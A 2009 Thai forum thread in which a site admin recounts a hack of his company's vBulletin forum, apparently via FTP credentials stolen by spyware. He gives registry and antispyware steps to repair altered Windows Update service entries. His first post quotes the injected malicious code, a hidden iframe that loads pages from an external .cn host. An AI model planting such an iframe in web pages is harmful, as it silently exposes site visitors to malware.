Thai3Dviz  

Go Back   Thai3Dviz > IT hardware & software > Software

Software ระบบปฏิบัติการ โปรแกรมทั่วไป antivirus

Reply
 
Share Thread Tools Display Modes
Old 14-06-2009, 01:00 PM   #1
Nut
Admin
 
Nut's Avatar
 
Join Date: Oct 2006
Location: ถนน ราชพฤกษ์
Posts: 1,525
Blog Entries: 14
Nut has a spectacular aura aboutNut has a spectacular aura aboutNut has a spectacular aura about
Default แก้ปัญหา Spyware แบบบ้านๆ Rootkit Spy Agent

มีประสบการณ์มาเล่าให้อ่าน คิดว่ามีประโยชน์ครับ

ปัญหาที่ประสบ
1.windows load ช้า
2.web บริษัทโดนแฮก

ผมมักเคยชินว่า พอเครื่องใช้ไปนานๆ windows มักจะโหลดช้า ด้วยความไม่รู้ก็นึกว่าเป็นเรื่องปกติ เลยไม่ได้สนใจอะไรมาก แต่เมื่อ อาทิตย์ที่แล้ว เว็บ www.thai3dviz.co.th โดนแฮกหน้า forum index ทั้งๆที่ใช้ vbulletin ของแท้ โดยผมเขาไปเช็คไฟล์ index.php โดนใส่โค้ดเพิ่มดังนี้
Code:
// ### ALL DONE! SPIT OUT THE HTML AND LET'S GET OUTTA HERE... ###


/*======================================================================*\
|| ####################################################################
|| # Downloaded: 11:41, Tue Mar 31st 2009
|| # CVS: $RCSfile$ - $Revision: 28997 $
|| ####################################################################
\*======================================================================*/
?>



<iframe src="http://globalnameshop.cn:8080/index.php" width=126 height=103 style="visibility: hidden"></iframe>
ซึ่งถ้าวันนั้นใครบังเอิญคลิกไปที่หน้า furum index ของ thai3dviz.co.th จะพบกับหน้าขาวๆว่างเปล่า อาจติด spyware โดยไม่รู้ตัวไปด้วย (คิดว่าคงไม่มี เพราะเว็บนั้นคนเข้าน้อย)

ด้วยความเป็นห่วง thai3dviz.com จะโดนไปด้วยจึงกุลีกุจอแก้ปัญหาแบบหามรุ่งหามค่ำ (เว่อร์มะ)

หลังจากขอความช่วยเหลือจาก support ของ host thnic ที่เอาเว็บไปฝากไว้ และไปโพสขอความช่วยเหลือจาก webboard ของ vbulletin
ได้ข้อสรุปว่าเครื่องคอมพิวเตอร์ติดเชื้อ spyware / malware
เพราะช่างเทคนิคของ thnic ได้ตรวจสอบแล้วพบว่า hacker/bot มีการเข้าไปแก้ไขไฟล์ผ่านทาง ftp ซึ่งแสดงว่าเขาได้ทั้ง username และ password ไปจากเครื่องของเรา
ที่น่าสงสัยที่สุดคือโปรแกรม ftp ที่ผมใช้ cuteftp(เถื่อน) อาจมีการฝัง spyware เอาไว้
ช่างจึงแนะนำให้เปลี่ยนไปใช้ filezilla ซึ่งเป็นของฟรีแทน และให้ทำการ scan เครื่องขนานใหญ่ทั้งที่บ้านและที่ทำงานด้วย nod32 ซึ่งปรากฎว่าฆ่าไปได้ 1 ตัวเป็น trojan อะไรสักอย่างจำชื่อไม่ได้


ทีนี้เมื่อได้ทำการแก้ไขเป็นที่เรียบร้อย ปรากฎว่าหลังจากนั้น 1 อาทิตย์ windows ที่ office เกิดปัญหาขึ้นไดอาล็อคมาว่า service error และทำการนับถอยหลังเพื่อรีสตาร์ทเครื่องเอง ผมจึงแก้ปัญหาโดยการใช้ system restore แล้วจึงค่อยๆไล่เช็คปัญหา
ผ่านไป 1 วันเต็มๆพบว่า windows ไม่สามารถ เปิด auto update และเข้าไปใช้หน้า update ของ microsoft ได้ ขึ้น error เป็นโค้ด 0x80070420

หาข้อมูลจาก code ดังกล่าวทดลองทำอยู่หลายวิธีในที่สุดก็พบปัญหาว่ามัน อยู่ที่ imagepath
%fystemroot%\system32\svchost.exe -k netsvcs.

โปรดสังเกต %fystemroot% ที่ถูกต้องควรเป็น %Systemroot%

ตัวนี้แหละที่เมื่อแก้ปัญหาแล้ว เครื่องคอมฯทำงานลื่นขึ้นเป็นปลาไหล จึงคิดว่าน่าจะเอามาฝากสมาชิกไทยวิซ เผื่อใครประสบปัญหาเครื่องอืดแบบเดียวกัน


ตรวจเช็คเครื่อง

1. คลิก start > run พิมพ์ regedit.exe

2.ไปที่ HKEY_Local_Machine\System\CurrentControlSet\Servic e\wuauserv
ตรวจดู ImagePath ถ้าขึ้นเป็น %fystemroot%\system32\svchost.exe -k netsvcs. ละก็เตรียมแก้ไขกันได้เลย

3.อีกจุดหนึ่งคือ HKEY_Local_Machine\System\CurrentControlSet\Servic e\BITS
ImagePath ก็จะถูกแก้ไปเช่นกัน


(มีต่อ)
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Nut is offline  

Reply With Quote
Old 14-06-2009, 01:24 PM   #2
Nut
Admin
 
Nut's Avatar
 
Join Date: Oct 2006
Location: ถนน ราชพฤกษ์
Posts: 1,525
Blog Entries: 14
Nut has a spectacular aura aboutNut has a spectacular aura aboutNut has a spectacular aura about
Default

สืบเสาะ ลองผิดลองถูก

เนื่องจากไม่ใช่เทพคอมฯ จึงใช้วิธีลองผิดลองถูกมาหลายแบบจากการ search ด้วย google

อย่างแรก เขาให้คลิกขวาที่ wuauserv แล้วเลือก permission และแก้ permission ของ administrators ให้เป็น full control แล้วค่อยแก้ไข image path ให้ถูกต้อง
แต่ปรากฎว่า access denied บ้าง แก้แล้วก็เด้งกลับมาเหมือนเดิมอีกบ้าง
ฝรั่งบางคนบอกให้ทำเร็วๆบ้าง ก่อนที่เครื่องจะรู้ตัว มั่วจริงๆ

อันดับต่อมาบอกให้ไปโหลด code แล้ว save เป็นไฟล์ .bat /.cmd เอามา run เพื่อ reset admin permission ทำแล้วก็ไม่สำเร็จ คงเป็นเพราะโง่เรื่องพวกนี้ล่ะนะ

ข้อต่อมาก็ให้ load hijack โปรแกรม antispyware มาแก้ไข อันนี้น่าจะเข้าท่าที่สุดสำหรับคนไม่รู้เรื่อง ผมก็ลองลงไปสัก 4-5 ยี่ห้อปรากฎว่าก็ไม่สำเร็จ หาไม่เจอบ้าง หาเจอแต่ฆ่าไม่ได้ ต้องซื้อก่อนถึงฆ่าให้บ้าง

สุดท้ายเมื่อคืนนี้ไปเจอคำตอบเล็กๆ ในกระทู้เล็กๆของเว็บอะไรจำไม่ได้แห่งหนึ่ง
บอกว่า ให้ลองใช้ SuperAntiSpyware ดูสิปัญหาแบบเดียวกันแก้ได้หมด แถมเครื่องลื่นเชียว ก็เลยไปโหลดตัว trial มาลอง ปรากฎจริงอย่างที่โม้ไว้ แก้ได้จริงๆ

วิธีแก้

1. ลง SUPERAntiSpyware ที่โหลดมาฟรี แสกนเครื่อง แล้วฆ่า spyware ทิ้ง

2. จากนั้นให้ run > regedit.exe

3. ไปที่ HKEY_Local_Machine\System\CurrentControlSet\Servic e\BITS
คลิกขวาเลือก permission

4. ติ๊กถูกที่ช่อง full control

5. แก้ไข imagepath ให้เป็น %systemroot%\system32\svchost.exe -k netsvcs.

6.ทำซ้ำข้อ 3-5กับ HKEY_Local_Machine\System\CurrentControlSet\Servic e\wuauserv


7.แก้แบบเดียวกันกับ ControlSet002 ControlSet003 ControlSet004
ปลอดภัยไว้ก่อน

เสร็จแล้วลอง restart เครื่องดูจะพบว่า windows boot เร็วขึ้น




หมายเหตุ ทั้งหมดเป็นประสบการณ์ ไม่สามารถการันตี หรือ support ใดๆได้
เนื่องจากผมเองก็รู้เท่าที่รู้ มั่วมา แต่สรุปเอาไว้เป็นกระทู้เผื่อมีประโยชน์ต่อใครๆในอนา คต
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Nut is offline   Reply With Quote
Old 14-06-2009, 01:30 PM   #3
Nut
Admin
 
Nut's Avatar
 
Join Date: Oct 2006
Location: ถนน ราชพฤกษ์
Posts: 1,525
Blog Entries: 14
Nut has a spectacular aura aboutNut has a spectacular aura aboutNut has a spectacular aura about
Default

นี่เป็นตัว spyware ที่โดนขังไว้ครับ
Attached Images
 
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Nut is offline   Reply With Quote
Old 14-06-2009, 02:28 PM   #4
keano-manz
เทพบุตรระเริงรัก
เสี่ยวขั้นเทพ
*คนบางอ้อ*
 
keano-manz's Avatar
 
Join Date: Oct 2006
Location: Ratchada19
Posts: 6,661
Blog Entries: 14
keano-manz has much to be proud ofkeano-manz has much to be proud ofkeano-manz has much to be proud ofkeano-manz has much to be proud ofkeano-manz has much to be proud ofkeano-manz has much to be proud ofkeano-manz has much to be proud ofkeano-manz has much to be proud of
Send a message via MSN to keano-manz
Default

ขอบคุณครับพี่นัท เผื่อเจอปัญหาแบบนี้จะได้รู้วิธีแก้ไข
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
keano-manz is offline   Reply With Quote
Old 14-06-2009, 03:57 PM   #5
Thinking_41
Blogger
 
Thinking_41's Avatar
 
Join Date: Jan 2009
Location: ฺBKK
Posts: 205
Blog Entries: 3
Thinking_41 is on a distinguished road
Default

ขอบคุณครับ คุณนัท

แต่ถ้าไม่เกิดปัญหาเดียวกับที่เล่ามานั่นเลยหลังจากต รวจสอบตามแล้วล่ะครับ

มันยังอืดๆอยู่ล่ะ อย่างเช่น โปรแกรมพวก เวิร์ด ทั้งแพคนั่นเลย เวลาเปิดใช้มันจะช้ามากๆ หรือบางคราวแฮงค์ค้างไปเวลาสั่งพิมพ์ มีวิธีแก้แบบบ้านๆไหมครับ
__________________
" When you live in Democracy country.or underdeveloped country.
You cannot choose what you want to know.

It is the program they set. If they do not want you to know, Then you will never know.
But in the world, there are more than billion eyewitnesses. You can close your people eyes
and shut the door from the inside
but outside is not yours.
Once you close your eyes, When you open again the light will be brighter."

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Thinking_41 is offline   Reply With Quote
Old 14-06-2009, 06:13 PM   #6
uhu
สมาชิกไทยวิซ
 
uhu's Avatar
 
Join Date: Oct 2006
Location: หน้าคอม
Posts: 933
uhu is on a distinguished road
Default

โอ้ มีประโยชน์มากเลยครับ แต่เครื่องผมยังดีไม่โดนอะไรไป แต่เป็นความรู้ที่ดีมากๆเลยครับ
__________________
AK เท่านั้น อิอิ



To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
uhu is offline   Reply With Quote
Old 15-06-2009, 09:06 AM   #7
Nut
Admin
 
Nut's Avatar
 
Join Date: Oct 2006
Location: ถนน ราชพฤกษ์
Posts: 1,525
Blog Entries: 14
Nut has a spectacular aura aboutNut has a spectacular aura aboutNut has a spectacular aura about
Default

Quote:
Originally Posted by Thinking_41 View Post
ขอบคุณครับ คุณนัท

แต่ถ้าไม่เกิดปัญหาเดียวกับที่เล่ามานั่นเลยหลังจากต รวจสอบตามแล้วล่ะครับ

มันยังอืดๆอยู่ล่ะ อย่างเช่น โปรแกรมพวก เวิร์ด ทั้งแพคนั่นเลย เวลาเปิดใช้มันจะช้ามากๆ หรือบางคราวแฮงค์ค้างไปเวลาสั่งพิมพ์ มีวิธีแก้แบบบ้านๆไหมครับ
ผมแนะนำให้น้าฤทธิ์ เอาโปรแกรมออก (ถ้ามันไม่ใช่ของแท้)
แล้วเปลี่ยนมาใช้ open office แทนครับ ใช้งานได้ใกล้เคียงกัน ที่สำคัญ มันเป็นของฟรี

ถ้าสนใจดาวน์โหลดที่ http://www.openoffice.org/
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Nut is offline   Reply With Quote
Old 15-06-2009, 11:44 AM   #8
noptoto
สมาชิกไทยวิซ
 
noptoto's Avatar
 
Join Date: Oct 2006
Posts: 779
noptoto will become famous soon enoughnoptoto will become famous soon enough
Default

ลองเช็คดูยังไม่โดนแก้อะไรครับ
ไว้เครื่องอืดเมื่อไร จะลองแก้ตามพี่นัทดู ขอบคุณครับ ^^
noptoto is offline   Reply With Quote
Old 16-06-2009, 01:35 PM   #9
ouune
Blogger
 
Join Date: Apr 2007
Location: Wish you were here.
Posts: 2,718
Blog Entries: 3
ouune is a jewel in the roughouune is a jewel in the roughouune is a jewel in the roughouune is a jewel in the rough
Send a message via MSN to ouune Send a message via Yahoo to ouune
Default

กระทู้ดีๆแบบนี้ ทำไมไม่ปักหมุดไว้อะ...... ไม่เข้าใจ.!?
ouune is offline   Reply With Quote
Old 16-06-2009, 01:38 PM   #10
Thinking_41
Blogger
 
Thinking_41's Avatar
 
Join Date: Jan 2009
Location: ฺBKK
Posts: 205
Blog Entries: 3
Thinking_41 is on a distinguished road
Default

Quote:
Originally Posted by nut View Post
ผมแนะนำให้น้าฤทธิ์ เอาโปรแกรมออก (ถ้ามันไม่ใช่ของแท้)
แล้วเปลี่ยนมาใช้ open office แทนครับ ใช้งานได้ใกล้เคียงกัน ที่สำคัญ มันเป็นของฟรี

ถ้าสนใจดาวน์โหลดที่ http://www.openoffice.org/

ลองทำแบบที่คุณนัทว่าดูแล้ว แต่ไหงมันยังช้าอยู่ล่ะครับ นี่ขนาดใช้โอเพ่นซอร์ส แล้วนะครับ
หรือว่า มีอะไรที่มัน ขัดกันในเครื่องหว่า
__________________
" When you live in Democracy country.or underdeveloped country.
You cannot choose what you want to know.

It is the program they set. If they do not want you to know, Then you will never know.
But in the world, there are more than billion eyewitnesses. You can close your people eyes
and shut the door from the inside
but outside is not yours.
Once you close your eyes, When you open again the light will be brighter."

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Thinking_41 is offline   Reply With Quote
Old 17-06-2009, 04:42 AM   #11
ml77.
สมาชิกไทยวิซ
 
Join Date: May 2009
Posts: 63
ml77. is on a distinguished road
Default

ขอบคุณครับ ฉลาดขึ้นเยอะเลย
ml77. is offline   Reply With Quote
Old 06-07-2009, 03:32 PM   #12
applebox
สมาชิกไทยวิซ
 
Join Date: Dec 2007
Posts: 216
applebox is on a distinguished road
Default

ขอบคุณครับ เป็นประโยชน์กับคอมอืดๆอย่างผมเลยครับ
applebox is offline   Reply With Quote
Old 06-07-2009, 04:16 PM   #13
eakpum
สมาชิกไทยวิซ
 
eakpum's Avatar
 
Join Date: Nov 2006
Posts: 56
eakpum is on a distinguished road
Default

ขอบคุณมากครับ ลองทำเลย
eakpum is offline   Reply With Quote
Old 25-02-2011, 02:59 PM   #14
zerobornll
สมาชิกไทยวิซ
 
zerobornll's Avatar
 
Join Date: Nov 2006
Posts: 209
zerobornll is on a distinguished road
Default

เจอแล้วครับ ขอบคุณสำหรับวิธีแก้น่ะครับ
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.

satan monster 3D max
zerobornll is offline   Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT +7. The time now is 08:09 AM.

Design Developed by CompleteGFX
Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd.
Copyright ©2002-2010 Thai3dViz Co.,Ltd.
Hosting by THAISITE.net